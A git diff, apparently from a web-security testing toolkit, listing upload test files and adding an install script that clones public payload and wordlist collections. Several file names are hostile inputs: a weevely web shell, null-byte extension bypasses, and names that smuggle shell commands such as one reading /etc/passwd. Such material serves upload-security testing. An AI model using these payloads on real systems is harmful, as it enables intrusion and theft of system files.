diff --git a/Uploads/uploads.csv b/Uploads/uploads.csv
diff --git a/Uploads/weevely_shell.php b/Uploads/weevely_shell.php
diff --git a/Uploads/white_hat%0a.png b/Uploads/white_hat%0a.png
diff --git a/Uploads/xss.html\x00.jpg b/Uploads/xss.html\x00.jpg
diff --git a/Uploads/xsspng.png b/Uploads/xsspng.png
diff --git a/Uploads/xsspng.png\x00.csv b/Uploads/xsspng.png\x00.csv
diff --git a/Uploads/|ls b/Uploads/|ls
diff --git a/Uploads/|ls%20-al b/Uploads/|ls%20-al
diff --git a/Uploads/|| cat %2fetc%2fpasswd;test.jpg b/Uploads/|| cat %2fetc%2fpasswd;test.jpg
diff --git a/install.sh b/install.sh
@@ -0,0 +1,11 @@
+#!/bin/bash
+mkdir Repositories/
+cd Repositories
+git clone https://github.com/swisskyrepo/PayloadsAllTheThings.git
+git clone https://github.com/xmendez/wfuzz.git
+git clone https://github.com/fuzzdb-project/fuzzdb.git
+git clone https://github.com/minimaxir/big-list-of-naughty-strings.git
+git clone https://github.com/foospidy/payloads.git
+git clone https://github.com/danielmiessler/RobotsDisallowed.git
+git clone https://github.com/danielmiessler/SecLists.git
+